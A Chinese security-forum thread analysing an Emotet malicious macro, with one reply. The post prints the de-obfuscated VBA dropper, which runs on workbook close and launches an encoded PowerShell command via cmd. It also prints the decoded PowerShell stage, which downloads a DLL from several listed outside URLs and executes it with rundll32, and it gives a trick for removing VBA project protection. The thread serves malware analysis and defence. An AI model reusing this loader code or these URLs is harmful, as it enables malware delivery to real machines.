查看: 33908|回复: 2

[PC样本分析] Emotet木马病毒宏代码分析

[复制链接]
发表于 2022-1-15 18:13:14 | 显示全部楼层 |阅读模式
最近收到一些仿冒同事发送的邮件,会带附件doc 或 xls
其中 vba 是有加密的,这个破解不难,notepad++ 打开文档,查找字符串 DPM= 改为 DPx=,保存。再打开时忽略错误提示加载,然后点文件有个转换格式的,再保存,宏代码就能看到了。

实际有用的代码是一堆
#If VBA7 Then
Declare PtrSafe Function DdeFreeStringHandle Lib "user32" (ByVal idInst As LongPtr, ByVal hsz As LongPtr) As LongPtr
Declare PtrSafe Function DefDlgProc Lib "user32" Alias "DefDlgProcA" (ByVal hDlg As LongPtr, ByVal wMsg As LongPtr, ByVal wParam As LongPtr, ByVal lParam As LongPtr) As LongPtr
Declare PtrSafe Function DeferWindowPos Lib "user32" (ByVal hWinPosInfo As LongPtr, ByVal hWnd As LongPtr, ByVal hWndInsertAfter As LongPtr, ByVal x As LongPtr, ByVal y As LongPtr, ByVal cx As LongPtr, ByVal cy As LongPtr, ByVal wFlags As LongPtr) As LongPtr
...还有很多

还有就是实际执行下载和执行病毒的方法
Private Sub Workbook_BeforeClose(Cancel As Boolean)
hfoi4atsoighhoin7geofi9sidhu
End Sub

Sub hfoi4atsoighhoin7geofi9sidhu()
Dim fhisdu As String
tyuo4iwhdofigh.Tag = Cells(76, 1) ‘文件名的位置
tyuo4iwhdofigh.TextBox1.Text = "cwgjamd /wgjac swgjatarwgjat/wgjaB "
tyuo4iwhdofigh.ComboBox1.Tag = Cells(75, 1) + vbCrLf + Cells(77, 1) '这2个加起来就是 powershell -enc 加密的base64脚本
tyuo4iwhdofigh.TextBox1.Text = Replace(tyuo4iwhdofigh.TextBox1.Text, "wgja", "") '字符串替换后就是 cmd /c start /B
Open tyuo4iwhdofigh.Tag For Output As #1
Print #1, tyuo4iwhdofigh.ComboBox1.Tag
tyuo4iwhdofigh.TextBox1.Text = ""
Close #1
SeFufisdHiehfosdo tyuo4iwhdofigh.TextBox1.Text & tyuo4iwhdofigh.Tag, 0 'WinExec 正式执行
End Sub
除了这些,还有一堆浪费时间的代码

powershell解密base64大概长这样
[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($EncodeText))

powershell的加密base64,解密后
$strs="http://boardingschoolsoftware.com/Vineet_Backup/Z9o3/,
https://terracondivisa.farsiprossimofaenza.org/wp-content/aiosDOa1DS/,
http://coachdto.com/ddek/glfD3CfGrW5QGcThUA/,
http://phatthalung.drr.go.th/content/km2em799xx7PfikSm/,
http://thinglabs.xyz/overcollar/s4rNtArh/,
http://knossosclothing.club/amla/bk/".Split(",")
foreach($st in $strs){
$r1=Get-Random
$r2=Get-Random
$tpth="C:\ProgramData\"+$r1+".dll"
Invoke-WebRequest -Uri $st -OutFile $tpth
if(Test-Path $tpth){
if((Get-Item $tpth).Length -ge 50000){
$fp="C:\Windows\SysWow64\rundll32.exe"
$a=$tpth+",f"+$r2
Start-Process $fp -ArgumentList $a
break
}}}

就是下载个dll,如果成功下载,文件正常,就rundll32.exe 开工了,具体做什么坏事,这个就。。。
回复

使用道具 举报

发表于 5 天前 | 显示全部楼层

Re: [PC样本分析] Emotet木马病毒宏代码分析

感谢楼主分享这么详细的宏分析过程!那个修改 DPM= 为 DPx= 来绕过宏加密的技巧很实用,我之前遇到加密VBA时也试过类似方法,确实有效。 楼主把代码拆解得非常清晰,尤其是从混淆的字符串中还原出 `cmd /c start /B` 和拼接 PowerShell 命令的部分,让我对 Emotet 的投放机制有了更直观的理解。后面的 PowerShell 下载 DLL 并用 rundll32 执行的逻辑也很典型,这种分阶段加载的方式能有效避开静态检测。 想请教一下楼主:你在分析过程中有没有遇到其他变种的混淆方式?比如除了字符串替换,有没有遇到用变量名拼接或运算来隐藏关键API调用的?另外,那个 `SeFufisdHiehfosdo` 函数应该是楼主自己重命名的吧,原函数名也是类似随机字符吗? 总之,这个分析对识别和防御此类附件很有帮助,感谢分享!
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

Hacking Group 021A

旗下站点

态势感知中心

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

关注微信公众号

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2026-5-24 02:32 , Processed in 0.031181 second(s), 21 queries , Gzip On, Redis On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部